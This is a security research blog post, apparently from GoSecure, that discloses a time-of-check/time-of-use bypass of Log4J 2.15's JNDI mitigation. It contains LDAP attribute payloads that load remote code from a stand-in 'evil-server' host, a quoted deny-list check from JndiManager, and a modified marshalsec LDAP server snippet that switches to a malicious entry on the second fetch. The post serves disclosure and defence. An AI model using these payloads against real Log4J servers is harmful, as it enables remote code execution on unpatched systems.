Log4J 2.15 TOCTOU Vulnerability Illustrated by GoSecure Researchers

Log4J has been in the spotlight for the past two weeks for a new attack vector which relies on Java Naming and Directory Interface (JNDI). Log4J 2.15 vulnerabilities are now considered high severity (9.0). And as the GoSecure research team investigated, we realized that the mitigations implemented were incomplete.

In this blog, we will detail the new mitigation introduced in 2.15 and the bypass we found using a Time of Check, Time of Use vulnerability (TOCTOU). This vector was also discovered independently by Alvaro Muñoz and Tony Torralba. It is likely that many other individuals have reported related bypass techniques because there were multiple weaknesses in the same Java class (JndiManager).

During this time, Log4J has received multiple security updates and GoSecure has been working across our portfolio of products and services to support our clients who may be affected. We recommend everyone update to the latest version 2.17 for the best available protection. For further information about Log4Shell’s impact, visit our blog on mitigation and remediation. Information about the status of our products is available here.

 

Version affected

Before we dive into the code, we should clarify that only Log4J version 2.15 and below are vulnerable and only if lookups are enabled for backward compatibility. The JNDI lookup feature was still included in 2.15 and additional checks were made to prevent malicious LDAP attributes when the feature is enabled. These new validations fell short due to a Time of Check, Time of Use vulnerability (TOCTOU).

 

JndiManager validations

The class JndiManager is wrapping the lookup for JNDI which can cause some unexpected code execution specifically if RMI, IIOP or LDAP are used. In Log4J 2.15, RMI and IIOP are not included in the protocol allowlist verification leaving only the LDAP protocol to be used.

Multiples LDAP attribute combinations can be used to trigger code execution. Here are two combinations as described in RFC2713.

1. Factory class
   • javaClassName: PayloadObject
   • javaCodebase: http://evil-server/
   • javaFactory: Log4jRCE

With the previous attributes, the class Log4jRCE is downloaded from http://evil-server/Log4jRCE.class and instantiated.

2. Serializedobject
   • javaClassName: MaliciousGadget
   • javaSerializedData: ACED01A[….]
   • javaCodeBase: http://evil-server/

Based on the previous, JDNI LDAP context will deserialize the data presented in the field javaSerializedData.

When Log4J received the report for the JNDI lookup injection they decided to validate the LDAP entries fetched. For this reason, the name “javaSerializedData”, “javaClassName”, “javaReferenceAddress” and “javaFactory” were added to an attributes deny list in JndiManager.

 
JndiManager.java

Map<String, Attribute> attributeMap = new HashMap<>();

NamingEnumeration<? extends Attribute> enumeration = attributes.getAll();
while (enumeration.hasMore()) {
    Attribute attribute = enumeration.next();
    attributeMap.put(attribute.getID(), attribute);
}

Attribute classNameAttr = attributeMap.get(CLASS_NAME);
if (attributeMap.get(SERIALIZED_DATA) != null) {
    if (classNameAttr != null) {
        String className = classNameAttr.get().toString();
        if (!allowedClasses.contains(className)) {
            LOGGER.warn("Deserialization of {} is not allowed", className);
            return null;
        }
    } else {
        LOGGER.warn("No class name provided for {}", name);
        return null;
    }
} else if (attributeMap.get(REFERENCE_ADDRESS) != null
        || attributeMap.get(OBJECT_FACTORY) != null) {
    LOGGER.warn("Referenceable class is not allowed for {}", name);
    return null;

[...]

} catch (URISyntaxException ex) {
    // This is OK.
}
return (T) this.context.lookup(name);

Ref : Change for LOG4J2-3201

 

The Bypass

The logic, unfortunately, is flawed and it can be bypassed by performing a Time of Check, Time of Use (TOCTOU) attack. You might have found it in the previous code snippet.

Assuming an LDAP entry is fetched using the special expression, the wrapper JndiManager will first load the entry with the method DirContext.getAttributes().

Attributes attributes = this.context.getAttributes(name);

Ref : JndiManager.java#L237

If the entry has no risky attribute, the wrapper proceeds to fetch the entry again. The method used here in the final fetch is DirContext.lookup().

return (T) this.context.lookup(name);

Ref: JndiManager.java#L273

An attacker can create a server that would return regular LDAP attributes (CN, SN, UID, etc.) on the first request and on the second one, return attributes that would trigger Java code execution.

Sequence diagram illustrating the attack

 

How to Reproduce

To confirmed the vulnerability, we customized marshalsec’s LDAPRefServer tool by adding the choice to send malicious or normal payload is selected manually. Of course, this could easily be automated using unique JNDI URL to keep track of the first request and second request made by the vulnerable server.

if(<send malicious entry>) { //Second fetch
    e.addAttribute("javaClassName", "foo");
    String cbstring = this.codebase.toString();
    int refPos = cbstring.indexOf('#');
    if ( refPos > 0 ) {
        cbstring = cbstring.substring(0, refPos);
    }
    e.addAttribute("javaCodeBase", cbstring);
    e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
    e.addAttribute("javaFactory", this.codebase.getRef());

}
else { //First fetch
    e.addAttribute("cn", "Test");
    e.addAttribute("sn", "test");
    e.addAttribute("uid", "test");
    e.addAttribute("telephoneNumber", "123");
}

 

Conclusion

If you update your Log4J library to 2.15, it will not be enough to mitigate all potential remote code execution.  At the moment of this writing, 2.17 is the recommended version. Make sure to read the official Log4J advisory page to get the latest update on the vulnerability. It is worth noting that two other vulnerabilities were found on Log4J 2.15: a Denial of Service (DOS) with ${ctx} expression and a hostname parsing validation bypass that brings back the remote code execution (RCE) vector.

 

References

• Official Log4J advisory page
• Log4Shell Update: Severity Upgraded 3.7 -> 9.0 for Second log4j Vulnerability (CVE-2021-45046)

 

Timeline

• December 10: Log4j 2.15.0 release (Vulnerable to TOCTOU)
• December 13: Log4j 2.16.0 release (JNDI fully disabled)
• December 16: Vulnerability reported by Tony Torralba and Alvaro Muñoz (Ref)
• December 16: Vulnerability reported by GoSecure
• December 17: Log4J 2.15 severity raised from 3.7 to 9.0
• December 18: Log4j 2.17.0 release
• December 20: Received confirmation that the Log4J team is aware of the TOCTOU.